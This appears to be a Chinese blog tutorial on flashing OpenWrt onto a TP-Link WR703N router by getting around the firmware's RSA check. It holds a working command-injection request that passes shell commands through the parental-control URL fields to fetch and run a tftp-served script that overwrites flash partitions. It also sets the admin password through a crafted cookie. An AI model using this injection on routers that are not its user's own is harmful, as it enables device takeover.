TP-link WR703N v1.17固件不拆机绕过RSA验证强刷openwrt

手溅升级了官方固件到v3.17.1 Build 140120 56593,现在不能通过路由器的Web后台直接在线升级刷Openwrt了,会提示“错误代码:18005上传的文件版本与机型不符”。因为TP在后来的官方固件中加入了RSA验证,除非拆机TTL硬刷。

 

浏览恩山论坛遇到一贴解决了这个问题,地址:https://www.right.com.cn/forum/thread-159078-1-1.html ,一个老外通过家长控制功能破解了限制,直接绕过RSA,将OP固件刷入703N。这个帖子很笼统,下面的人回复都是看不懂,我也是修改了很多次才成功,发现有很多细节教程中并没有提到,这里一并解释。

 

本文还参考了:https://boweihe.me/2015/11/02/wr703n-v1-7-%E7%A0%B4%E8%A7%A3openwrt%EF%BC%88%E6%8F%90%E7%A4%BA%E5%AF%86%E7%A0%81%E9%94%99%E8%AF%AF%E7%AD%89%E9%97%AE%E9%A2%98%E7%9A%84%E8%A7%A3%E5%86%B3%EF%BC%89/

在此一并鸣谢。

 

以下为详细的刷机方法(示例中192.168.1.1为路由器,192.168.1.100为我的电脑)>>

注意!仅在v3.17.1 Build 140120 56593下实践过!


以win32系统上操作为例,首先需要准备几样工具:

1、TFTP,用于在本地建立ftp服务(暂时这么理解),便于寄存文件以上传;

2、cURL命令行传输工具,用于访问操作路由器上传文件;

3、dd,也是个命令行工具,用来切割固件,猜测是体积太大某些地方上传受限?

分别安装tftp和解压出cURL和dd备用。准备一个文件夹upload作为tftp的Current Directory ,Server interfaces那里选择路由器分配给电脑的IP隧道。cURL和dd直接解压有时不能用,还需要添加系统变量,这也是很多人失败的地方。

 

再准备几个文件:

1、busybox,一个命令行环境下的命令集。这个需要编译好的二进制文件,教程中给的地址事实证明不能直接使用;

2、一个sh脚本,命名为aa,内容如下:

cd /tmp
tftp -gl i1 192.168.0.100
tftp -gl i2 192.168.0.100
tftp -gl busybox 192.168.0.100
chmod 755 busybox
./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync
./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync
./busybox reboot -f

 保存为一个unix格式utf-8属性的文件,这里非常重要,原来的教程根本没有提,这也是很多人卡在第三步的原因。

3、最后当然是openwrt的官方固件squashfs-factory.bin,运行cmd在命令行下使用dd工具将固件分割为两部分,命令依次为:

dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576
dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576

这样你会得到一个i1和i2两个分割好的文件,体积大小相加正好等于原bin文件大小。

 

你现在有了3个工具,和4个文件:busybox、aa、i1、i2。Web页面选择重置或捅reset孔重置路由器(必须重置),将路由器与电脑连接,本地连接IP最好手动设置,与aa文件中的要一致。做完这些就可以开搞了,cURL再执行3条命令就ok了!

 

开始刷机>>

首先是:

curl -o - -b "tLargeScreenP=1;subType=pcSub;Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D;ChgPwdSubTag=true" "http://192.168.1.1/"

本条命令将为重置后的路由器设置管理员密码为admin42。

 

然后:

curl -o - -b "tLargeScreenP=1;subType=pcSub;Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D;ChgPwdSubTag=" --referer "http://192.168.1.1/userRpm/ParentCtrlRpm.htm" "http://192.168.1.1/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1"

 本条命令将在家长控制中添加一条协议,为MAC地址00-00-00-00-00-02的用户开启家长控制

 

最后:

curl -o - -b "tLargeScreenP=1;subType=pcSub;Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D;ChgPwdSubTag=" --referer "http://192.168.1.1/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1" "http://192.168.1.1/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.1.102;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6"

本条命令将允许MAC地址为00-00-00-00-00-01的儿童用户访问test网站,而获取的真实内容则是伪装了的aa脚本文件。执行这条命令后,tftp将向路由器发送这个aa脚本,脚本执行后,将向路由器上传busybox、i1、i2三个文件(tftp可以看到上传记录)。全部上传完成后路由器将刷入openwrt固件并在大约3分钟后重启,指示灯慢闪,开始加载openwrt。指示灯常亮表示加载完成,恭喜你,703n刷机完成!就这么简单……

 

第三步最为关键,很多人卡在这里。tftp那里要经常留意,我发现配置好的IP隧道总是会自己变动,造成上传失败。

 

写在最后>>

现在新的openwrt系统已经完成,默认没有开启wifi,第一次连接需要用网线直连,揭下来就是设置wifi和拨号了,一般问题不大。有需要注意的两点,对于OP新手来说,要知道,OP是不支持reset键重置的,而是在开机的时候快速的戳reset才行。新版的OP默认已加载luci管理界面,但是英文的,自己更改参数的时候要谨慎操作。

 

以上是全部细节,仅供参考,成不成功还需要自己多动脑。

文中所有文件已上传CSDN资源,地址:https://download.csdn.net/download/huamutongyou/10841568 

可直接下载,不保证通用。

你可能感兴趣的:(网络破解)